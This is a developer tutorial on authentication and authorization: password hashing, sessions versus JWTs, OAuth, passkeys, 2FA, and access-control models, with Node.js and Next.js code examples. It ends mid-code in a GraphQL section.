Authentication & Authorization: The Ultimate Guide
Auth is one of those things that every developer deals with but few truly understand end-to-end. You've probably slapped a JWT into localStorage, called it a day, and moved on. No judgment — we've all been there. But auth is the front door to your application, and a weak front door means everything behind it is at risk.
This guide covers everything: from the fundamentals of "who are you?" vs "what can you do?" to the nitty-gritty of token storage, password hashing, and authorization models used by companies like Google and Airbnb. Let's get into it.
Authentication vs Authorization
These two words sound similar and get confused constantly. Here's the simplest way to think about it:
| Authentication (AuthN) | Authorization (AuthZ) | |
|---|---|---|
| Question | "Who are you?" | "What are you allowed to do?" |
| Analogy | Showing your ID at the door | Your ID says VIP, so you get backstage access |
| When | At login / on every request | After identity is confirmed |
| Fails with | 401 Unauthorized | 403 Forbidden |
| Example | Logging in with email + password | Admin can delete users, regular users can't |
┌──────────────────────────────────────────────────────────┐
│ Request Lifecycle │
│ │
│ User ──> Authentication ──> Authorization ──> Resource │
│ "Who is this?" "Can they do "Here's │
│ this action?" the data" │
│ │
│ Failed: 401 Unauthorized 403 Forbidden │
└──────────────────────────────────────────────────────────┘
Authentication always comes first. You can't decide what someone is allowed to do until you know who they are.
Authentication Methods: The Full Landscape
1. Username/Password (The Classic)
The oldest method in the book. User provides credentials, server verifies them against stored hashes.
The critical rule: NEVER store passwords in plaintext. NEVER use MD5 or SHA for passwords.
Why not MD5/SHA? They're designed to be fast. That's great for checksums but terrible for passwords — an attacker can try billions of hashes per second.
Password Hashing Algorithms (Use These)
| Algorithm | Status | Notes |
|---|---|---|
| bcrypt | Recommended | Battle-tested, built-in salt, configurable cost factor |
| argon2 | Best (if available) | Winner of Password Hashing Competition (2015), memory-hard |
| scrypt | Good | Memory-hard, used by some crypto systems |
| PBKDF2 | Acceptable | NIST approved, but less resistant to GPU attacks |
| MD5 | NEVER | Fast, broken, no salt by default |
| SHA-256 | NEVER (for passwords) | Fast, not designed for password hashing |
// bcrypt — the most common choice
const bcrypt = require('bcrypt');
// Hashing a password (on registration)
async function hashPassword(plaintext) {
const saltRounds = 12; // Cost factor — 12 is a good default in 2026
return await bcrypt.hash(plaintext, saltRounds);
}
// Verifying a password (on login)
async function verifyPassword(plaintext, hash) {
return await bcrypt.compare(plaintext, hash);
}
// Usage
const hash = await hashPassword('mySecureP@ssw0rd');
// "$2b$12$LJ3m4ys3Lk0TSwHiPjVIBuPEhE1Nw8bFOn3jGKmEHN2GOJlnMGKi"
const isValid = await verifyPassword('mySecureP@ssw0rd', hash);
// true
// argon2 — the modern choice
const argon2 = require('argon2');
async function hashPassword(plaintext) {
return await argon2.hash(plaintext, {
type: argon2.argon2id, // Hybrid mode (recommended)
memoryCost: 65536, // 64 MB
timeCost: 3, // 3 iterations
parallelism: 4 // 4 threads
});
}
async function verifyPassword(plaintext, hash) {
return await argon2.verify(hash, plaintext);
}
Salting, Peppering, and Why They Matter
Password: "hunter2"
Without salt:
hash("hunter2") = "ab4f63f9ac...always the same"
Two users with "hunter2" have identical hashes (bad!)
With salt (random per user):
hash("hunter2" + "x7Km9pQ2") = "8f14e45f..."
hash("hunter2" + "aB3nR8wL") = "2c6ee24b..."
Same password, different hashes (good!)
With pepper (secret key, same for all users, stored separately):
hash("hunter2" + "x7Km9pQ2" + SERVER_PEPPER) = "9a1f3c7e..."
Even if DB is leaked, attacker needs the pepper too
bcrypt and argon2 handle salting automatically. You only need to worry about peppering if you want an extra layer (store the pepper in an environment variable or secrets manager, not in the database).
2. Session-Based Authentication
The traditional approach: server creates a session after login and stores it server-side. The client gets a session ID cookie.
┌────────┐ ┌────────┐
│ Client │ │ Server │
└───┬────┘ └───┬────┘
│ │
│ 1. POST /login {email, password} │
│ ─────────────────────────────────────>│
│ │ 2. Validate credentials
│ │ 3. Create session in store
│ │ (Redis/DB/memory)
│ │ session_id -> {user_id, role, ...}
│ 4. Set-Cookie: sid=abc123; HttpOnly │
│ <─────────────────────────────────────│
│ │
│ 5. GET /api/profile │
│ Cookie: sid=abc123 │
│ ─────────────────────────────────────>│
│ │ 6. Lookup session "abc123"
│ │ 7. Found: user_id=42
│ 8. {name: "Alice", email: "..."} │
│ <─────────────────────────────────────│
│ │
│ 9. POST /logout │
│ ─────────────────────────────────────>│
│ │ 10. Delete session "abc123"
│ 11. Set-Cookie: sid=; Max-Age=0 │
│ <─────────────────────────────────────│
// Express session-based auth
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const { createClient } = require('redis');
const app = express();
const redisClient = createClient({ url: 'redis://localhost:6379' });
redisClient.connect();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // HTTPS only
httpOnly: true, // Not accessible via JavaScript
sameSite: 'lax', // CSRF protection
maxAge: 24 * 60 * 60 * 1000 // 24 hours
}
}));
// Login
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const user = await db.users.findByEmail(email);
if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Create session
req.session.userId = user.id;
req.session.role = user.role;
res.json({ user: { id: user.id, email: user.email, role: user.role } });
});
// Auth middleware
function requireAuth(req, res, next) {
if (!req.session.userId) {
return res.status(401).json({ error: 'Not authenticated' });
}
next();
}
// Protected route
app.get('/api/profile', requireAuth, async (req, res) => {
const user = await db.users.findById(req.session.userId);
res.json(user);
});
// Logout
app.post('/logout', (req, res) => {
req.session.destroy((err) => {
if (err) return res.status(500).json({ error: 'Logout failed' });
res.clearCookie('connect.sid');
res.json({ message: 'Logged out' });
});
});
3. Token-Based Authentication (JWT)
Instead of storing sessions server-side, the server issues a signed token that the client stores and sends with every request. The server verifies the token's signature without needing a database lookup.
┌────────┐ ┌────────┐
│ Client │ │ Server │
└───┬────┘ └───┬────┘
│ │
│ 1. POST /login {email, password} │
│ ─────────────────────────────────────>│
│ │ 2. Validate credentials
│ │ 3. Create JWT:
│ │ header.payload.signature
│ 4. { accessToken, refreshToken } │
│ <─────────────────────────────────────│
│ │
│ 5. GET /api/profile │
│ Authorization: Bearer <JWT> │
│ ─────────────────────────────────────>│
│ │ 6. Verify JWT signature
│ │ 7. Decode payload: {sub: 42}
│ 8. {name: "Alice", ...} │
│ <─────────────────────────────────────│
│ │
│ --- Access token expires --- │
│ │
│ 9. POST /refresh {refreshToken} │
│ ─────────────────────────────────────>│
│ │ 10. Validate refresh token
│ │ 11. Issue new access token
│ 12. { newAccessToken } │
│ <─────────────────────────────────────│
Anatomy of a JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. <-- Header (base64)
eyJzdWIiOiI0MiIsInJvbGUiOiJhZG1pbiIsIm <-- Payload (base64)
lhdCI6MTcwOTEyNjAwMCwiZXhwIjoxNzA5MTI5
NjAwfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQ <-- Signature
ssw5c
Decoded Header:
{
"alg": "HS256", // Signing algorithm
"typ": "JWT" // Token type
}
Decoded Payload:
{
"sub": "42", // Subject (user ID)
"role": "admin", // Custom claim
"iat": 1709126000, // Issued at
"exp": 1709129600 // Expires at (1 hour later)
}
Signature:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
The payload is NOT encrypted — it's just base64-encoded. Anyone can read it. The signature only proves it hasn't been tampered with.
Implementation with Access + Refresh Tokens
const jwt = require('jsonwebtoken');
const ACCESS_SECRET = process.env.JWT_ACCESS_SECRET;
const REFRESH_SECRET = process.env.JWT_REFRESH_SECRET;
const ACCESS_EXPIRY = '15m'; // Short-lived
const REFRESH_EXPIRY = '7d'; // Long-lived
// Generate token pair
function generateTokens(user) {
const accessToken = jwt.sign(
{ sub: user.id, role: user.role },
ACCESS_SECRET,
{ expiresIn: ACCESS_EXPIRY }
);
const refreshToken = jwt.sign(
{ sub: user.id, tokenVersion: user.tokenVersion },
REFRESH_SECRET,
{ expiresIn: REFRESH_EXPIRY }
);
return { accessToken, refreshToken };
}
// Verify access token middleware
function authenticateToken(req, res, next) {
const authHeader = req.headers.authorization;
const token = authHeader?.startsWith('Bearer ')
? authHeader.slice(7)
: null;
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const payload = jwt.verify(token, ACCESS_SECRET);
req.user = { id: payload.sub, role: payload.role };
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: 'Token expired', code: 'TOKEN_EXPIRED' });
}
return res.status(401).json({ error: 'Invalid token' });
}
}
// Refresh endpoint
app.post('/auth/refresh', async (req, res) => {
const { refreshToken } = req.body;
if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });
try {
const payload = jwt.verify(refreshToken, REFRESH_SECRET);
const user = await db.users.findById(payload.sub);
// Check token version (for revocation)
if (!user || user.tokenVersion !== payload.tokenVersion) {
return res.status(401).json({ error: 'Token revoked' });
}
// Issue new tokens (token rotation)
const tokens = generateTokens(user);
// Optionally: increment tokenVersion to invalidate old refresh token
// This is "refresh token rotation" — each refresh token is single-use
await db.users.update(user.id, {
tokenVersion: user.tokenVersion + 1
});
res.json(tokens);
} catch (err) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
});
// Login
app.post('/login', async (req, res) => {
const { email, password } = req.body;
const user = await db.users.findByEmail(email);
if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const tokens = generateTokens(user);
// Set refresh token as httpOnly cookie
res.cookie('refreshToken', tokens.refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/auth/refresh' // Only sent to refresh endpoint
});
res.json({ accessToken: tokens.accessToken });
});
Refresh Token Rotation
A security best practice: every time a refresh token is used, issue a new one and invalidate the old one. If an attacker steals a refresh token and uses it, the legitimate user's next refresh will fail (because the token version changed), alerting you to the breach.
Normal flow:
RT-v1 --> new AT + RT-v2
RT-v2 --> new AT + RT-v3
RT-v3 --> new AT + RT-v4
Attack detected:
Attacker steals RT-v2
Legit user uses RT-v2 --> new AT + RT-v3 (v2 invalidated)
Attacker tries RT-v2 --> REJECTED (version mismatch)
Flag the account for potential compromise
4. OAuth 2.0 / Social Login
OAuth 2.0 lets users log in via third-party providers (Google, GitHub, etc.) without sharing their password with your app.
┌────────┐ ┌──────────┐ ┌──────────────┐
│ User │ │ Your App │ │ Google/GitHub │
└───┬────┘ └────┬─────┘ └──────┬───────┘
│ │ │
│ 1. "Login with │ │
│ Google" │ │
│ ────────────────> │ │
│ │ 2. Redirect to Google │
│ │ with client_id, │
│ │ redirect_uri, │
│ <──────────────── │ scope │
│ 3. Redirect │ │
│ │ │
│ 4. User logs in │ │
│ at Google, │ │
│ grants consent │ │
│ ─────────────────────────────────────────>│
│ │ │
│ 5. Redirect back │ │
│ with auth code │ │
│ ────────────────> │ │
│ │ 6. Exchange code for │
│ │ tokens (server- │
│ │ to-server) │
│ │ ─────────────────────>│
│ │ │
│ │ 7. Access token + │
│ │ user info │
│ │ <─────────────────────│
│ │ │
│ 8. Session/JWT │ 9. Create/find user │
│ created │ in your DB │
│ <──────────────── │ │
Key points:
- The authorization code exchange (step 6) happens server-to-server — the user never sees your client secret
- You get an access token for the provider's API (e.g., Google's), not for your own API
- You still need to create your own session or JWT for your app after OAuth completes
5. Magic Links / Passwordless
No password at all. The user enters their email, gets a link, clicks it, and they're in.
const crypto = require('crypto');
// Generate magic link
app.post('/auth/magic-link', async (req, res) => {
const { email } = req.body;
const user = await db.users.findByEmail(email);
if (!user) {
// Don't reveal whether email exists — always show success
return res.json({ message: 'If that email exists, we sent a link.' });
}
// Generate a secure random token
const token = crypto.randomBytes(32).toString('hex');
const expiresAt = new Date(Date.now() + 15 * 60 * 1000); // 15 minutes
await db.magicLinks.create({
userId: user.id,
token: await bcrypt.hash(token, 10), // Hash the token in DB
expiresAt,
used: false
});
const link = `https://yourapp.com/auth/verify?token=${token}&email=${email}`;
await sendEmail(email, 'Your login link', `Click here to log in: ${link}`);
res.json({ message: 'If that email exists, we sent a link.' });
});
// Verify magic link
app.get('/auth/verify', async (req, res) => {
const { token, email } = req.query;
const user = await db.users.findByEmail(email);
if (!user) return res.status(401).json({ error: 'Invalid link' });
const magicLink = await db.magicLinks.findLatestForUser(user.id);
if (!magicLink || magicLink.used || magicLink.expiresAt < new Date()) {
return res.status(401).json({ error: 'Link expired or already used' });
}
const isValid = await bcrypt.compare(token, magicLink.token);
if (!isValid) return res.status(401).json({ error: 'Invalid link' });
// Mark as used
await db.magicLinks.update(magicLink.id, { used: true });
// Create session or JWT
const tokens = generateTokens(user);
res.json(tokens);
});
Pros: No passwords to manage, phishing-resistant (sort of), great UX
Cons: Relies on email security, slow (waiting for email), can't work offline
6. Passkeys / WebAuthn (The Future)
Passkeys use public-key cryptography. The user's device stores a private key; the server stores the public key. Authentication happens via biometrics (fingerprint, Face ID) or a device PIN. No passwords involved.
Registration:
Device generates key pair
Private key stays on device (never leaves)
Public key sent to server and stored
Authentication:
Server sends a challenge (random bytes)
Device signs challenge with private key (after biometric verification)
Server verifies signature with stored public key
If valid, user is authenticated
// Server-side (using @simplewebauthn/server)
const {
generateRegistrationOptions,
verifyRegistrationResponse,
generateAuthenticationOptions,
verifyAuthenticationResponse
} = require('@simplewebauthn/server');
const rpName = 'Your App';
const rpID = 'yourapp.com';
const origin = 'https://yourapp.com';
// Registration: Step 1 — Generate options
app.post('/auth/passkey/register/options', requireAuth, async (req, res) => {
const user = await db.users.findById(req.user.id);
const existingCredentials = await db.credentials.findByUserId(user.id);
const options = await generateRegistrationOptions({
rpName,
rpID,
userID: user.id,
userName: user.email,
attestationType: 'none',
excludeCredentials: existingCredentials.map(cred => ({
id: cred.credentialId,
type: 'public-key'
})),
authenticatorSelection: {
residentKey: 'preferred',
userVerification: 'preferred'
}
});
// Store challenge for verification
await db.challenges.store(user.id, options.challenge);
res.json(options);
});
// Registration: Step 2 — Verify response
app.post('/auth/passkey/register/verify', requireAuth, async (req, res) => {
const user = await db.users.findById(req.user.id);
const expectedChallenge = await db.challenges.get(user.id);
const verification = await verifyRegistrationResponse({
response: req.body,
expectedChallenge,
expectedOrigin: origin,
expectedRPID: rpID
});
if (verification.verified) {
await db.credentials.create({
userId: user.id,
credentialId: verification.registrationInfo.credentialID,
publicKey: verification.registrationInfo.credentialPublicKey,
counter: verification.registrationInfo.counter
});
res.json({ verified: true });
} else {
res.status(400).json({ error: 'Verification failed' });
}
});
Passkeys are supported by Apple, Google, and Microsoft. They sync across devices (iCloud Keychain, Google Password Manager). This is genuinely the future of authentication — phishing-proof, no passwords to leak, and the UX is just "tap your fingerprint."
7. API Keys
Simple tokens for machine-to-machine or developer API access. Not for end-user authentication.
// Generating an API key
function generateAPIKey() {
const prefix = 'sk_live_'; // Helps identify the key type
const key = crypto.randomBytes(32).toString('hex');
return prefix + key;
// "sk_live_a1b2c3d4e5f6..."
}
// Store the HASH, not the raw key
async function createAPIKey(userId, name) {
const rawKey = generateAPIKey();
const hashedKey = await bcrypt.hash(rawKey, 10);
await db.apiKeys.create({
userId,
name,
keyHash: hashedKey,
prefix: rawKey.slice(0, 12), // Store prefix for identification
createdAt: new Date()
});
// Return raw key ONCE — it can never be retrieved again
return rawKey;
}
// Middleware to verify API key
async function authenticateAPIKey(req, res, next) {
const key = req.headers['x-api-key'] || req.headers.authorization?.replace('Bearer ', '');
if (!key) return res.status(401).json({ error: 'API key required' });
// Find by prefix for efficiency (avoids checking every key)
const prefix = key.slice(0, 12);
const candidates = await db.apiKeys.findByPrefix(prefix);
for (const candidate of candidates) {
if (await bcrypt.compare(key, candidate.keyHash)) {
req.apiKey = candidate;
req.user = await db.users.findById(candidate.userId);
return next();
}
}
return res.status(401).json({ error: 'Invalid API key' });
}
8. mTLS (Mutual TLS)
Standard TLS: the client verifies the server's certificate. Mutual TLS: both sides verify each other. Used for service-to-service communication in microservices.
Normal TLS:
Client ──> "Show me your certificate" ──> Server
Client <── Server's certificate <── Server
Client verifies server. Done.
Mutual TLS:
Client ──> "Show me your certificate" ──> Server
Client <── Server's certificate <── Server
Client verifies server.
Server ──> "Now show ME yours" ──> Client
Server <── Client's certificate <── Client
Server verifies client. Both verified.
# Nginx mTLS configuration
server {
listen 443 ssl;
# Server's certificate
ssl_certificate /etc/ssl/server.crt;
ssl_certificate_key /etc/ssl/server.key;
# Require client certificate
ssl_client_certificate /etc/ssl/ca.crt; # CA that signed client certs
ssl_verify_client on;
location /internal-api/ {
# Pass client cert info to backend
proxy_set_header X-Client-DN $ssl_client_s_dn;
proxy_set_header X-Client-Verified $ssl_client_verify;
proxy_pass http://backend;
}
}
9. MFA / 2FA
Something you know (password) + something you have (phone/key) + something you are (biometric).
TOTP (Time-based One-Time Password) is the most common second factor:
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');
// Enable 2FA: Step 1 — Generate secret
app.post('/auth/2fa/setup', requireAuth, async (req, res) => {
const secret = speakeasy.generateSecret({
name: `YourApp (${req.user.email})`,
issuer: 'YourApp'
});
// Store secret temporarily (not yet verified)
await db.users.update(req.user.id, {
tempTotpSecret: secret.base32
});
// Generate QR code for authenticator app
const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);
res.json({
secret: secret.base32, // Backup code for manual entry
qrCode: qrCodeUrl // For scanning with Google Authenticator, etc.
});
});
// Enable 2FA: Step 2 — Verify and activate
app.post('/auth/2fa/verify', requireAuth, async (req, res) => {
const { code } = req.body;
const user = await db.users.findById(req.user.id);
const isValid = speakeasy.totp.verify({
secret: user.tempTotpSecret,
encoding: 'base32',
token: code,
window: 1 // Allow 1 step before/after (30-second window)
});
if (isValid) {
// Generate backup codes
const backupCodes = Array.from({ length: 10 }, () =>
crypto.randomBytes(4).toString('hex')
);
await db.users.update(req.user.id, {
totpSecret: user.tempTotpSecret,
tempTotpSecret: null,
twoFactorEnabled: true,
backupCodes: await Promise.all(
backupCodes.map(code => bcrypt.hash(code, 10))
)
});
res.json({
enabled: true,
backupCodes // Show ONCE — user must save these
});
} else {
res.status(400).json({ error: 'Invalid code' });
}
});
Second factor comparison:
| Method | Security | UX | Notes |
|---|---|---|---|
| TOTP (authenticator app) | High | Medium | Google Authenticator, Authy — offline capable |
| SMS | Low-Medium | Easy | Vulnerable to SIM swapping, but better than nothing |
| Push notification | High | Great | Duo, Auth0 Guardian — one tap to approve |
| Hardware key (YubiKey) | Very high | Medium | Phishing-proof, but costs money |
| Passkey | Very high | Great | If adopted, replaces both password and 2FA |
Sessions vs JWTs: The Great Debate
This is one of the most debated topics in web development. Here's an honest comparison.
| Aspect | Sessions | JWTs |
|---|---|---|
| State | Stateful (server stores session) | Stateless (token contains everything) |
| Storage | Server: Redis/DB. Client: cookie with session ID | Server: nothing. Client: cookie or header |
| Scalability | Need shared session store across servers | No server-side state — any server can verify |
| Revocation | Easy — delete the session from the store | Hard — token valid until expiry (unless you add a blocklist) |
| Size | Cookie: ~20 bytes (just the ID) | Cookie/header: 800+ bytes (full token) |
| Security | Session ID is opaque (no data exposure) | Payload is readable (base64, not encrypted) |
| Mobile/SPA | Works with cookies | Works with any HTTP client |
| Microservices | Every service needs session store access | Any service can verify independently |
When to Use Sessions
- Traditional server-rendered web apps
- When you need instant revocation (ban a user, they're out immediately)
- When you want simplicity and don't need cross-service auth
- When the added infrastructure (Redis) is not a concern
When to Use JWTs
- SPAs or mobile apps that talk to APIs
- Microservices architecture (each service verifies independently)
- When you need to pass user info between services without a shared DB
- Serverless (no persistent server to store sessions)
The Pragmatic Answer
For most apps? Use httpOnly cookie sessions with Redis. It's simpler, more secure by default, and you get instant revocation. JWTs are great when you genuinely need stateless auth or cross-service authentication, but they come with complexity (refresh tokens, rotation, revocation strategies) that sessions handle naturally.
If you DO use JWTs, use short-lived access tokens (15 minutes) with refresh token rotation, and store the refresh token in an httpOnly cookie.
Authorization Patterns
Once you know WHO the user is, you need to decide what they can DO.
RBAC (Role-Based Access Control)
The most common pattern. Users are assigned roles; roles have permissions.
┌──────────┐ ┌──────────┐ ┌──────────────────┐
│ Users │───>│ Roles │───>│ Permissions │
├──────────┤ ├──────────┤ ├──────────────────┤
│ Alice │ │ admin │ │ users:read │
│ Bob │ │ editor │ │ users:write │
│ Charlie │ │ viewer │ │ users:delete │
│ │ │ │ │ posts:read │
│ │ │ │ │ posts:write │
│ │ │ │ │ posts:delete │
│ │ │ │ │ settings:manage │
└──────────┘ └──────────┘ └──────────────────┘
Alice -> admin -> [all permissions]
Bob -> editor -> [posts:read, posts:write, users:read]
Charlie -> viewer -> [posts:read, users:read]
// RBAC implementation
const ROLES = {
admin: {
permissions: ['users:read', 'users:write', 'users:delete',
'posts:read', 'posts:write', 'posts:delete',
'settings:manage']
},
editor: {
permissions: ['posts:read', 'posts:write', 'posts:delete', 'users:read']
},
viewer: {
permissions: ['posts:read', 'users:read']
}
};
// Authorization middleware
function requirePermission(...requiredPermissions) {
return (req, res, next) => {
const userRole = req.user.role;
const role = ROLES[userRole];
if (!role) {
return res.status(403).json({ error: 'Unknown role' });
}
const hasAll = requiredPermissions.every(
perm => role.permissions.includes(perm)
);
if (!hasAll) {
return res.status(403).json({
error: 'Insufficient permissions',
required: requiredPermissions,
your_role: userRole
});
}
next();
};
}
// Usage
app.delete('/api/users/:id',
authenticateToken,
requirePermission('users:delete'),
async (req, res) => {
await db.users.delete(req.params.id);
res.json({ deleted: true });
}
);
app.get('/api/posts',
authenticateToken,
requirePermission('posts:read'),
async (req, res) => {
const posts = await db.posts.findAll();
res.json(posts);
}
);
ABAC (Attribute-Based Access Control)
More flexible than RBAC. Decisions based on attributes of the user, resource, action, and environment.
// ABAC policy engine (simplified)
const policies = [
{
name: 'doctors-view-own-patients',
effect: 'allow',
condition: (ctx) =>
ctx.user.role === 'doctor' &&
ctx.resource.type === 'patient_record' &&
ctx.resource.assignedDoctorId === ctx.user.id &&
ctx.action === 'read'
},
{
name: 'edit-during-business-hours',
effect: 'allow',
condition: (ctx) => {
const hour = new Date().getHours();
return ctx.action === 'write' &&
ctx.user.department === ctx.resource.department &&
hour >= 9 && hour <= 17;
}
},
{
name: 'admin-override',
effect: 'allow',
condition: (ctx) => ctx.user.role === 'admin'
}
];
function evaluate(context) {
for (const policy of policies) {
if (policy.condition(context)) {
return policy.effect === 'allow';
}
}
return false; // Default deny
}
// Usage
const allowed = evaluate({
user: { id: 42, role: 'doctor', department: 'cardiology' },
resource: { type: 'patient_record', assignedDoctorId: 42, department: 'cardiology' },
action: 'read',
environment: { time: new Date(), ip: '10.0.0.5' }
});
ReBAC (Relationship-Based Access Control)
Made famous by Google Zanzibar (the system behind Google Drive, Docs, etc.). Authorization is based on relationships between entities.
Concept:
"User X has relationship Y with object Z"
Examples:
"Alice is an owner of document:report.pdf"
"Bob is a member of team:engineering"
"team:engineering is a viewer of folder:designs"
(Therefore Bob can view folder:designs — inherited!)
Relationship tuples:
┌────────────────────────────────────────────────┐
│ user │ relation │ object │
├───────────────┼──────────┼─────────────────────┤
│ user:alice │ owner │ doc:report.pdf │
│ user:bob │ member │ team:engineering │
│ team:engineering│ viewer │ folder:designs │
│ user:charlie │ editor │ doc:budget.xlsx │
└────────────────────────────────────────────────┘
Query: "Can bob view folder:designs?"
1. Is bob a viewer of folder:designs? No.
2. Is bob a member of any group that is a viewer?
bob -> member -> team:engineering -> viewer -> folder:designs
Yes! Allowed.
Open-source implementations: OpenFGA (by Auth0/Okta), SpiceDB (by Authzed), Keto (by Ory).
ACLs (Access Control Lists)
The oldest pattern. Each resource has a list of who can do what.
// ACL attached to a resource
const document = {
id: 'doc-123',
title: 'Q4 Report',
acl: [
{ userId: 'alice', permissions: ['read', 'write', 'delete', 'share'] },
{ userId: 'bob', permissions: ['read', 'write'] },
{ userId: 'charlie', permissions: ['read'] },
{ groupId: 'team-finance', permissions: ['read'] }
]
};
function checkACL(resource, userId, action) {
const entry = resource.acl.find(e => e.userId === userId);
return entry?.permissions.includes(action) || false;
}
Simple, but doesn't scale well. If you have millions of documents, managing ACLs per document becomes a nightmare.
Policy Engines (OPA, Cedar)
For complex authorization logic, externalize it to a dedicated policy engine.
OPA (Open Policy Agent) uses Rego (a declarative policy language):
# policy.rego
package authz
default allow = false
# Admins can do anything
allow {
input.user.role == "admin"
}
# Users can read their own profile
allow {
input.action == "read"
input.resource.type == "profile"
input.resource.owner == input.user.id
}
# Managers can read profiles of their reports
allow {
input.action == "read"
input.resource.type == "profile"
input.resource.owner == data.reports[input.user.id][_]
}
Cedar (by AWS, used in Amazon Verified Permissions):
// Cedar policy
permit(
principal in Role::"editor",
action in [Action::"read", Action::"write"],
resource in Folder::"documents"
) when {
resource.classification != "top-secret"
};
Authorization Pattern Comparison
| Pattern | Complexity | Flexibility | Best For |
|---|---|---|---|
| RBAC | Low | Medium | Most web apps, SaaS with clear roles |
| ABAC | Medium | High | Healthcare, finance, context-dependent access |
| ReBAC | High | Very high | Document sharing, social networks, Google-scale |
| ACL | Low | Low | File systems, simple per-resource access |
| Policy Engine | High | Very high | Microservices, complex compliance requirements |
Implementation Patterns
Auth Middleware in Express/Node.js
A complete middleware stack:
// middleware/auth.js
const jwt = require('jsonwebtoken');
// Layer 1: Extract and verify identity
function authenticate(req, res, next) {
// Check cookie first, then Authorization header
const token = req.cookies?.accessToken ||
req.headers.authorization?.replace('Bearer ', '');
if (!token) {
req.user = null;
return next(); // Continue as anonymous (let authorize handle it)
}
try {
const payload = jwt.verify(token, process.env.JWT_SECRET);
req.user = {
id: payload.sub,
email: payload.email,
role: payload.role,
permissions: payload.permissions || []
};
} catch (err) {
req.user = null;
}
next();
}
// Layer 2: Require authentication
function requireAuth(req, res, next) {
if (!req.user) {
return res.status(401).json({ error: 'Authentication required' });
}
next();
}
// Layer 3: Require specific role(s)
function requireRole(...roles) {
return [requireAuth, (req, res, next) => {
if (!roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Insufficient role' });
}
next();
}];
}
// Layer 4: Require specific permission(s)
function requirePermission(...perms) {
return [requireAuth, (req, res, next) => {
const hasAll = perms.every(p => req.user.permissions.includes(p));
if (!hasAll) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
next();
}];
}
// Layer 5: Resource ownership check
function requireOwnership(getResourceOwnerId) {
return [requireAuth, async (req, res, next) => {
const ownerId = await getResourceOwnerId(req);
if (ownerId !== req.user.id && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Not your resource' });
}
next();
}];
}
module.exports = { authenticate, requireAuth, requireRole,
requirePermission, requireOwnership };
// routes.js — Usage
const { authenticate, requireAuth, requireRole,
requirePermission, requireOwnership } = require('./middleware/auth');
const app = express();
app.use(authenticate); // Run on every request
// Public route — no auth needed
app.get('/api/posts', async (req, res) => { /* ... */ });
// Authenticated route — any logged-in user
app.get('/api/profile', requireAuth, async (req, res) => { /* ... */ });
// Role-restricted
app.get('/api/admin/users', ...requireRole('admin'), async (req, res) => { /* ... */ });
// Permission-restricted
app.delete('/api/posts/:id', ...requirePermission('posts:delete'),
async (req, res) => { /* ... */ });
// Ownership check
app.put('/api/posts/:id',
...requireOwnership(async (req) => {
const post = await db.posts.findById(req.params.id);
return post?.authorId;
}),
async (req, res) => { /* ... */ }
);
Auth in Next.js
Next.js has multiple layers where you can enforce auth.
Middleware (Edge Runtime) — runs before every request:
// middleware.ts (in project root)
import { NextRequest, NextResponse } from 'next/server';
import { jwtVerify } from 'jose';
const PUBLIC_PATHS = ['/login', '/signup', '/api/auth'];
const SECRET = new TextEncoder().encode(process.env.JWT_SECRET);
export async function middleware(request: NextRequest) {
const path = request.nextUrl.pathname;
// Skip public paths
if (PUBLIC_PATHS.some(p => path.startsWith(p))) {
return NextResponse.next();
}
const token = request.cookies.get('accessToken')?.value;
if (!token) {
return NextResponse.redirect(new URL('/login', request.url));
}
try {
const { payload } = await jwtVerify(token, SECRET);
// Add user info to headers for server components
const response = NextResponse.next();
response.headers.set('x-user-id', payload.sub as string);
response.headers.set('x-user-role', payload.role as string);
return response;
} catch {
return NextResponse.redirect(new URL('/login', request.url));
}
}
export const config = {
matcher: ['/((?!_next/static|_next/image|favicon.ico).*)']
};
Server Components — read auth state:
// app/dashboard/page.tsx
import { cookies } from 'next/headers';
import { jwtVerify } from 'jose';
async function getUser() {
const cookieStore = await cookies();
const token = cookieStore.get('accessToken')?.value;
if (!token) return null;
try {
const { payload } = await jwtVerify(
token,
new TextEncoder().encode(process.env.JWT_SECRET)
);
return payload;
} catch {
return null;
}
}
export default async function Dashboard() {
const user = await getUser();
if (!user) redirect('/login');
return (
<div>
<h1>Welcome, {user.email}</h1>
{user.role === 'admin' && <AdminPanel />}
</div>
);
}
Securing REST APIs
// Rate limiting on auth endpoints (critical!)
const rateLimit = require('express-rate-limit');
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 10, // 10 attempts
message: { error: 'Too many login attempts. Try again in 15 minutes.' },
standardHeaders: true,
legacyHeaders: false
});
app.post('/api/auth/login', authLimiter, loginHandler);
app.post('/api/auth/register', authLimiter, registerHandler);
// Input validation
const { body, validationResult } = require('express-validator');
app.post('/api/auth/register',
authLimiter,
body('email').isEmail().normalizeEmail(),
body('password')
.isLength({ min: 8 })
.matches(/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)/)
.withMessage('Password must include uppercase, lowercase, and a number'),
(req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
next();
},
registerHandler
);
Securing GraphQL APIs
GraphQL is trickier because there's typically one endpoint. You can't just protect routes — you need to protect at the resolver level.
// Apollo Server with auth context
const { ApolloServer } = require('@apollo/server');
const server = new ApolloServer({
typeDefs,
resolvers,
});
// Extract user from token in context
async function getContext({ req }) {
